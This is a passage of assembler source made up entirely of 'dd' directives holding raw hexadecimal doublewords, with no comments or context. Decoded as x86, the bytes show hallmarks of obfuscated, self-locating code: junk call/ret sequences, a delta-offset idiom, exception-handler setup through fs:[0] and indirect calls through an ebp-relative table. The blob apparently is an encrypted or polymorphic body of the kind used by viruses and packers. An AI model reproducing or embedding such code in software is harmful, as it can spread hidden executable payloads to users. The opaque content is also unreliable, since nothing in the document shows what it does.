0C48689B0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 4977C352h dd 0A79412FBh, 0DC59D29h, 958B0610h, 61009F5h, 0C95BD8Bh dd 0C2830610h, 5089F504h, 57006A20h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0F98B1D00h dd 0D7C2858Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 6066CFC3h, 0EDB9244Fh, 8689517Ch dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 50C35242h, 1F90B481h, 0BD8B26E6h, 61016DDh, 6A72D380h dd 9BD8900h, 0FF061014h, 13C26DB5h, 0F99D8B06h, 6606101Fh dd 4CC7DF81h, 49595FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0C272D4C3h, 0F50DA8Ah dd 48Fh, 37BB6600h, 243489E3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 4CC35141h, 1B06C538h, 0FF67B48Eh dd 13C26DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8E0FAD68h, 6, 14B19D89h, 0B70F0610h dd 2D95FFFAh, 6A061016h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0B590C356h, 52F46208h, 51BD83AFh, 61013h dd 81840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9C0929C3h, 6AF1E5E1h, 0B98D89C0h dd 0F906102Ah, 1F8F0F50h, 50000000h, 880F52h, 0F000000h dd 0DE831h, 0F6490000h, 0E0963092h, 0FBEEFFAEh, 5BA4F279h dd 3489585Ah, 7E86024h, 8E000000h, 86E67FCDh, 8589B914h dd 610168Dh, 14E959h, 9FF90000h, 5EE0A6E6h, 0E05277BEh dd 0A575664Ah, 37E36325h, 0FF61D3F8h, 13C26DB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0D7DE8DF6h, 48E0F8Fh, 66000000h, 2B74DEBFh, 101D7DBDh dd 1995FF06h, 8B06100Ch, 1019DD9Dh, 0FFD7B706h, 13C26DB5h dd 95FFF806h, 6101621h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 87C35646h, 686647h, 25843EDAh, 5E92Ch dd 2EC50000h, 83647F5Bh, 100F89BDh, 840F0206h, 35h, 8D8D8957h dd 5B061021h, 10C5858Bh, 0FE90610h, 6B000000h, 0E25A756Dh dd 3E1A466Dh, 6EA6BCC4h, 0C6630Eh, 79953100h, 0E9061004h dd 5, 0F6C7C938h, 2585C750h, 6102Ah, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 6015C353h, 0FFC98064h, 0DA8B6653h, 0CE8h, 0CB27A600h dd 7D26FB7Dh, 3EDB50E8h, 0B1B5BB1Bh, 0E95F3486h, 0FFFFF2F9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8EC35747h dd 0CDC98ED6h, 880F5080h, 2, 605B20B7h, 0F13BBB66h, 8B61D18Bh dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 607F973Dh, 46D98166h, 0C081665Fh, 8D616FA9h dd 1013B985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8166CD21h, 907467C7h, 5050EAB7h dd 0FFBF6652h, 0E9310F07h, 13h, 0F34F050Dh, 438CE125h dd 9A44966Ch, 5AECBD93h, 5ACB15D3h, 6A9058h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 733E83C3h dd 0B5314694h, 6100AF9h, 850F006Ah, 6, 5B19D89h, 6A0610h dd 858D48B7h, 615091Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 81C35545h, 92B1042Ch, 0C0834F71h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 6D31D76h, 8A46DD89h, 0DE983h, 0D3950000h, 6135DDDEh dd 6FA28D72h, 50C1A11Bh, 89FE8B66h, 8B662404h, 8B006AD8h dd 1011F5BDh, 89006A06h, 103141B5h, 1995FF06h, 6A06101Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 855AC353h, 31A4DD87h, 1006B1B5h, 699D2B06h dd 8D06102Ah, 13AFD88Dh, 8B665606h, 0D1FF5BD8h, 12E9h dd 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 834793E4h dd 102209BDh, 850F0106h, 0A5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0A2C35141h, 26AD34Ch, 1C1B529h dd 0E8500610h, 13h, 11633322h, 441FFEF1h, 0E58E7A9Dh, 2399BE28h dd 0BF7B769Eh, 42207A98h, 2404895Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 87C35040h, 0F143895h, 0BB66DABFh dd 0BB66A11Dh, 95FF535Fh, 6100495h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 21C35040h, 958C3345h, 7E9FFh dd 42110000h, 78C933F0h, 0D38E9B3h, 0E80000h, 5D000000h dd 928ED81h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 75D543C3h, 660C54D2h, 9589D88Bh dd 6102361h, 99B6858Dh, 9D890613h, 6100BD9h, 0BAB86090h dd 666004B9h, 5061C28Bh, 21A46CBBh, 6A9031h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD337DC3h dd 61022EDh, 35FF64h, 0F5000000h, 258964h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0D08FC357h, 5F0B1F8Bh, 0A9CF9D63h, 0EAD9D8Bh, 85FF0610h dd 6101419h, 0BE9h, 0F1DB9900h, 8ED1CD00h, 0FDFEDFD2h dd 45DB529h, 0FF6A0610h, 10E856h, 63A60000h, 0BB6DA91Ah dd 0DEA6ECA9h, 68DB6A3Ah, 0BD89323Fh, 61004DDh, 0B5FF5B5Bh dd 6100EA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0F3C35040h, 95FFB24Ch, 6100615h, 136E9h, 11E900h dd 0B62A0000h, 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0B0BE3BBBh dd 5DB58900h, 0E6061008h, 3D9D3170h, 0E4061009h, 0C3816671h dd 613C5568h, 101830Fh, 85890000h, 6102A99h, 0BAC8B60Fh dd 6, 12E9h, 6A46BD00h, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh dd 8B3B06E5h, 9E9C1h, 0D4A10000h, 0B6F15927h, 0C10D83A3h dd 0BD8B04E8h, 6100AADh, 60E2F766h, 820FFA8Bh, 6, 10919D01h dd 2B610610h, 0A1BD8BC8h, 8B061005h, 599D8BD1h, 0E9061005h dd 9Bh, 2369B529h, 89600610h, 102D9D9Dh, 77F18106h, 615EB139h dd 4C50858Bh, 10E94755h, 6D000000h, 0A65AF135h, 0B543232Ch dd 0F84B4339h, 837AE807h, 858907C0h, 610221Dh, 8900C083h dd 10079DB5h, 0FD03B06h, 683h, 4CE9F800h, 8B000000h, 0FFFFFF8Dh dd 35BD8BFFh, 83061033h, 840F01E1h, 37h, 68D0Fh, 9D8B0000h dd 6102309h, 0FFFFA583h, 0E8FEFFFFh, 0Dh, 37BFF599h, 0E50DBEB4h dd 0DB3F07D5h, 95895FEFh, 47554C50h, 7458589h, 0E90610h dd 8D000000h, 147ECCB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0FD51FC2Ch, 7A25624Bh dd 2A65BD89h, 6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0BBC35747h, 0F0EBDD5h, 68Ch, 56CB8100h dd 0FF64E06Ch, 1031C995h, 359D8B06h, 0B9061021h, 0F37h dd 11A1BD8Bh, 0E1830610h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 3273BC9Fh dd 11929170h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 627F69E7h, 4FBAB51h, 0E3816656h dd 0B8EA39h, 0BB000000h, 4516BEDh, 0BD8BD22Bh, 6100DA1h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 31C35343h, 219A8212h, 0BB4357C0h dd 2F3B911Dh, 6860Fh, 0BD8B0000h, 6102161h, 880Dh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FE8BC144h, 9F5958Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D8BE8C3h, 6102319h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h dd 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0B9605818h, 1F24790Ch, 1DC98509h dd 89610610h, 102E7185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 31A16BFEh, 34B337D4h dd 10E8697Bh, 0A5000000h, 45B67BCBh, 282EAC2h, 53E55BDCh dd 8B9847D9h, 101425BDh, 0BD835B06h, 6101E29h, 47840F00h dd 0F000000h, 8Dh, 0B800h, 0DE8B0000h, 2871BD8Bh, 8D8D0610h dd 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0DC35343h, 9DE983DFh, 1425BD8Bh, 0E1FF0610h, 1C61BD89h dd 0BD830610h, 61022C1h, 2E840F00h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8898C353h, 5880Fh, 0ADBB0000h, 830AAB0Dh, 1022C1BDh dd 840F0106h, 414h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0BC35646h, 6810Fh, 0BD8B0000h, 61000B9h dd 22C1BD83h, 0F030610h, 3A986h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0D73758B9h dd 0B3217F3Eh, 0E38169FEh, 24982874h, 6A60F98Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0D070C352h, 7DFDFBE2h, 48EFA20Dh, 2199BD29h, 0C3810610h dd 0E45CE2Fh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0D3F1C351h, 0E8CCE47Ah dd 0Bh, 85E9BBADh, 0EBF7F614h, 29D7381Eh, 102F89B5h, 0E1805F06h dd 59958904h, 0A061021h, 0ED840FC9h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0E27AC355h, 9A8DFA4Dh, 0B76D2DE2h, 2185858Bh, 6A0610h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 81407C3h, 6D09BB66h, 11FD8533h, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 72C755C3h dd 9CAB34E3h, 67D9D8Bh, 60500610h, 8961D48Ah, 0E7802404h dd 0F006A15h, 583h, 8741BB00h, 5681196h, 0F5652B4h, 280h dd 8192B300h, 0B7FA2434h, 9D31564Dh, 6101079h, 5D595FFh dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 89A7EAC3h, 13C26D85h, 49858906h, 0E9061012h dd 1D2h, 21359D0Bh, 95890610h, 6100229h, 0C265858Bh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 7F819DC3h, 0FE8B660Ah, 1800C7h, 8D890000h, 6101F4Dh dd 6820Fh, 0DB810000h, 725E64D4h, 0C269B58Bh, 0BD890613h dd 6102809h, 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 11271CC3h, 852964EDh dd 6102195h, 858B0689h, 6102185h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 65C35242h, 810FA009h, 6, 10819589h dd 46890610h, 68B0F04h, 89000000h, 100A39B5h, 0F88B5006h dd 31243489h, 1016F1BDh, 65B5FF06h, 8B0613C2h, 101275BDh dd 4E806h, 3FF0000h, 0FA8B001Fh, 0DE850h, 0D9B90000h, 40C783FDh dd 5B8E18ABh, 0E90FDB1Fh, 0Ah, 0EAF16588h, 0FB90901Fh dd 8B5BB04Bh, 0BF042444h, 15F241Eh, 0E0BB008Bh, 892744A6h dd 58042444h, 0BF0F68B7h, 6D858DDBh, 0B0613C2h, 101D3DBDh dd 66605006h, 14E8D08Bh, 0E1000000h, 0CC409266h, 85E3F93Bh dd 0A18C1FB6h, 0E3C4838Ch, 0E86E1BA6h, 0Eh, 0EB196865h dd 5C0A3EE8h, 0D8026691h, 5E5EB3A9h, 24048961h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 59C35242h, 0D595FFF8h dd 6A061005h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 763BC356h, 6F53139Eh, 0E860B0E2h dd 0Dh, 0F9B697AEh, 0F330F5D0h, 15C13B34h, 21958B01h, 5F06100Eh dd 27E9B509h, 66610610h, 8A61D88Bh, 0C185C7DCh, 3061022h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 94EDC350h, 0D729D728h, 972A530h dd 83FAB70Fh, 13C26DBDh, 840F0006h, 0Ah, 1EE9D98Bh, 80000000h dd 3050E5F3h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 518D89C0h, 2B061005h, 100F259Dh, 0C1BD8306h dd 3061022h, 418850Fh, 8B600000h, 100899BDh, 0BD836106h dd 613C26Dh, 3840F00h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6A35C356h dd 95F859ECh, 0E8FC12B3h, 7, 6FB05F22h, 66D32FF9h, 8B5BD88Bh dd 6DB5FFDEh, 0E90613C2h, 0Dh, 71DE9F61h, 0BB154343h, 0D2E9FB1h dd 0A595FFD5h, 6606102Fh, 8BE905BFh, 13C261B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 685B0103h, 106C7BFh, 0F000100h, 68Eh, 39BD0100h, 96061028h dd 0E850DA8Bh, 14h, 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh dd 0ABE8EEDAh, 6A965Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 1A1DBC3h, 8BAD9D49h, 1000C99Dh dd 0D1958906h, 0FF06101Fh, 13C26DB5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B336F8Ah, 102A19BDh, 5DBD0B06h, 0FF06102Ah, 10122595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 25A7499Bh, 0B58B30EDh, 613C261h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B4C35343h, 6D652C10h dd 8089FFBFh, 0BD29B4EBh, 61022F5h, 21D1858Bh, 21BF0610h dd 812486F1h, 0E66764DBh, 0C486892Fh, 0FC000000h, 88D0Fh dd 8B560000h, 10225D9Dh, 958B5F06h, 61009F5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 9FC35545h, 0E9FFD3E4h dd 0Eh, 57006D8h, 49FD6FF4h, 12E17381h, 890F4D52h, 6, 131DBD8Bh dd 0C2830610h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0ECCC0393h, 73609ADBh dd 0D9BF0F16h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 2E2AC356h, 2B9C2BB2h dd 100975BDh, 36C38106h, 8D25448Fh, 13D7C285h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 9DF208A5h, 3736DA08h, 0B8868975h, 0BB000000h, 43E8FDF9h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 1DC256C3h, 0FFC79C47h, 13C26DB5h, 95FFF806h dd 6100495h, 30D19D8Bh, 0B7500610h, 24348910h, 0EB816653h dd 0FF5BEC0Bh, 13C26DB5h, 2D95FF06h, 6A061016h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0F941C355h, 4254A8B9h, 21BD8B55h, 8306101Bh dd 101351BDh, 840F0006h, 3Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0EBC35545h, 0BF21D3A6h, 96660983h dd 8840Fh, 50530000h, 5A310F52h, 53505B58h, 2830Fh, 61600000h dd 0B5FF965Bh, 613C26Dh, 0A758589h, 95FF0610h, 6100C19h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 8AC35141h dd 66AC205Eh, 0FF25C7BFh, 13C26DB5h, 7DB50106h, 8B061023h dd 101D85BDh, 2195FF06h, 33061016h, 102D69BDh, 89BD8306h dd 206100Fh, 5E840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0E07850C3h, 96A63430h dd 63D381CEh, 8B0B8196h, 1010C585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 4893B75Dh dd 0C6F81Bh, 0A9BD2B00h, 0BF06100Ch, 5D5C9127h, 2A2585C7h dd 610h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9BE90CC3h, 8BFFFFF3h, 4C14BFC1h dd 858D4C60h, 61013B9h, 0E89064B7h, 13h, 0E6104E24h, 0BAFF1AC1h dd 4EA70CCFh, 0CCB41DF1h, 0BBCBD04Fh, 47D866A8h, 840F505Bh dd 5, 0D88B6652h, 890F905Bh, 6, 18D99D8Bh, 6A0610h, 6AF88Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F7C35747h dd 244E307Ah, 89E4EF8Eh, 101B058Dh, 5E858D06h, 0E9061518h dd 0Eh, 0A9942C31h, 0E4570B97h, 365620Bh, 0C0836B7Eh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B1C93A87h, 0F020F2BDh, 6650F941h, 489F98Bh, 8E924h dd 0D0610000h, 4F34D70Dh, 6A1AA8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 2CC35141h, 7073DA5Fh, 7C89D708h dd 0FE4FABBh, 60006A53h, 21D8529h, 81600610h, 0DF3772D6h dd 699D891Ch, 61061004h, 1995FF61h, 6A06101Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0DE43C353h, 4117B68Dh, 80F88B88h, 8D8D4EC7h, 613AFD8h dd 0D1B589h, 0D1FF0610h, 5840Fh, 81660000h, 0BB7812EFh dd 4AC10838h, 2209BD83h, 0F010610h, 0A485h, 0F9B70F00h dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 3E3A4AC3h, 609071B3h, 0B832BF66h, 0CB5B3DBBh dd 6050610Ch, 56BE5250h, 0F79C1BDh, 5A616031h, 4B77BA58h dd 90612427h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 39C35747h, 67A3BA6Bh, 0BAB2107h, 1009A99Dh, 0F98B6606h dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 7C10A4C3h, 0ADA52D6Ah, 236AFAD8h dd 10284DBDh, 0DEFE906h, 0E80000h, 5D000000h, 1868ED81h dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 5EBF7CC3h, 817BED82h, 42C5FCD3h, 0B6858D7Eh dd 6A061399h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 594CC357h, 0B03EEE98h, 31AE68F4h dd 102F0985h, 19D8B06h, 5006102Dh, 6187B260h, 51240489h dd 0CE95Bh, 66560000h, 2C8E2309h, 4061F34Bh, 0FF64DEC5h dd 35h, 2DBD8900h, 0E906100Fh, 10h, 0B6ADA348h, 509BDA77h dd 18F5C8F4h, 0CEB84DA8h, 258964h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 56DAC357h, 0E5C42D23h, 1375BB26h, 85FF6AB0h, 6101419h dd 22859D8Bh, 0FF6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0EDC35747h, 0DE8A1D9Bh, 8A1B5FFh, 0F3800610h dd 1595FF00h, 0E9061006h, 0E2h, 0B014B7h, 759BD8Bh, 70E60610h dd 2D519D29h, 71E40610h, 8ACBF66h, 830F613Ch, 0C2h, 0FFABF0Fh dd 7E8C8B6h, 0E6000000h, 0A5CF4993h, 9D098377h, 6100DA9h dd 6BA5Fh, 8B660000h, 60C18BF8h, 1935B589h, 10E80610h dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh, 662E4F8Ah dd 350D081h, 0E8C1615Eh, 66F98B04h, 9D89E2F7h, 6100825h dd 91BBC82Bh, 8B431CC1h, 0FE8B66D1h, 5DE9h, 0DBB70F00h dd 4E49858Bh, 9D2B4400h, 61009B1h, 6607C083h, 83BC2EBBh dd 0B70F00C0h, 0FD03BDBh, 0B83h, 34E900h, 9D8B0000h, 6103161h dd 0FFFF8D8Bh, 0B529FFFFh, 61001C9h, 0F01E183h, 1984h dd 83EDB300h, 0FFFFFFA5h, 0BB66FEFFh, 9589BE52h, 44004E49h dd 0E9FCh, 0B58D0000h, 6148E03h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 89C35747h, 68B49969h, 0CE9186Eh dd 7A000000h, 81C01BF0h, 17F02684h, 6AB00DCBh, 3DBD8B00h dd 0FF06101Dh, 1031C995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DCB932C7h dd 6A00000Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0D446C351h, 0CBD3F0A2h, 398B3AB9h dd 0BE8h, 3DE6F400h, 688D308Fh, 6BB72571h, 12418529h, 835B0610h dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 8BAAEC3h, 0CF816681h, 0E8FCBD96h, 6, 0A829EEDDh dd 12E84864h, 51000000h, 749A87ACh, 50935FFBh, 77204F1Ch dd 7DE24A94h, 0F99D8B4Ch, 5B061018h, 89C02B5Fh, 10311D95h dd 0BA06h, 0B70F0000h, 0C233ADDAh, 0D003E8D1h, 7504E983h dd 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 18CBE417h, 5F5F5756h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0D4C35545h, 67384E7Ch, 8F0F5D82h dd 6, 0A219D89h, 9D8B0610h, 610142Dh, 880Dh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B4DD54Bh, 1009F595h, 0D9B70F06h, 0ECF8166h, 198D8BF8h dd 6A061023h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0DDEAC356h, 0D52A9569h, 7BE5B396h dd 66F8E780h, 508E8ABBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 2D967712h, 9DC549D9h, 6870FF1h, 89000000h dd 1001C185h, 0DE806h, 69DC0000h, 0B9FD9F96h, 7A56E3F4h dd 89DA1989h, 100DC59Dh, 89605B06h, 102A9995h, 0C1953306h dd 61061012h, 1E29BD83h, 0F000610h, 8784h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD8979C1h, 6101FADh, 8E9h, 56392E00h, 53E2F800h, 0B82Ch dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0DA8BDCC3h, 8D8DDF8Bh, 6104E85h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3C35747h dd 315048C2h, 100E959Dh, 0BFE1FF06h, 392329Ah, 22C1BD83h dd 0F000610h, 45084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 4E2BB4D2h, 22C1BD83h dd 0F010610h, 43F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 7A1C2D6Bh, 42BB66F7h dd 15840FAEh, 0E8000000h, 0Fh, 0F8FBBF09h, 405679D7h, 922D9960h dd 5F2DE595h, 22C1BD83h, 0F030610h, 3BD86h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 664C6E54h, 0BDC4F781h, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0EA1618E3h dd 0B9BD8B9Eh, 6606101Bh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 662042C3h, 0A9BF381h dd 4E180F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 9BC35646h, 0F711B1Fh, 0C90AF9BFh, 0FF840Fh, 8D890000h dd 6102079h, 2185858Bh, 0E9570610h, 10h, 66D0B441h, 3CF2E1D3h dd 0E33B2EE5h, 6B7C9FCFh, 0FD85335Bh, 81061011h, 883BFED3h dd 0BB66503Fh, 489C5E9h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 5800FFEh, 0BB000000h dd 4CFCCB87h, 9D8BFA8Ah, 6101AE9h, 0CEBF006Ah, 68577124h dd 500A4246h, 5526A6BFh, 2434812Ch, 501541B9h, 5830Fh dd 81660000h, 0FF481ACFh, 1005D595h, 0FD9D8B06h, 89061010h dd 13C26D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0ECF46404h, 0E8058C43h, 8A0F4E88h dd 4, 0EC54BB66h, 1D8E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 658D891Ch dd 0F061014h, 88Eh, 2800F00h, 8A000000h, 65858BFAh, 6A0613C2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 2B96C352h, 8B662450h, 0C7F98ADFh, 1800h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 5CEB81E0h, 8B29D5B7h, 13C269B5h, 0C830F06h dd 0F000000h, 680h, 0F1BD8B00h, 8B061005h, 100E2585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 73CF675Bh, 634BBC57h, 0EE869h, 0EF6E0000h, 0B28A1FC4h dd 7E78CE0Fh, 0CF8663F2h, 11E58D89h, 895B0610h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 5DFFF349h, 0A936045Bh, 858BA051h, 6102185h, 4689F98Bh dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 89594E5Fh, 101B7185h, 60BF9606h, 500554DEh dd 0D88B6696h, 0C265B5FFh, 0E9F50613h, 0Bh, 0C40C1E97h dd 5453AADAh, 68D6E18Fh, 808CBD4Eh, 799DF5BFh, 24048107h dd 7F9246B1h, 2F298589h, 858D0610h, 613C26Dh, 16850F50h dd 0E8000000h, 10h, 0E2D1D925h, 0FDEABFF2h, 36A5EC56h dd 1B69EBA8h, 8E0F5F5Bh, 3, 90D8B70Fh, 0BF50F7B7h, 0C07D08Ch dd 4830F90h, 66000000h, 0FFB3BBBBh, 1005D595h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 6A19F9E1h, 0EFA0B5B8h, 6A6126h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0C74650C3h, 0E46196Dh dd 1B5898Bh, 0C706101Eh, 1022C185h, 306h, 0DEB70F00h, 0B519D89h dd 0BD830610h, 613C26Dh, 2F840F00h, 6A000000h, 3E85700h dd 20000000h, 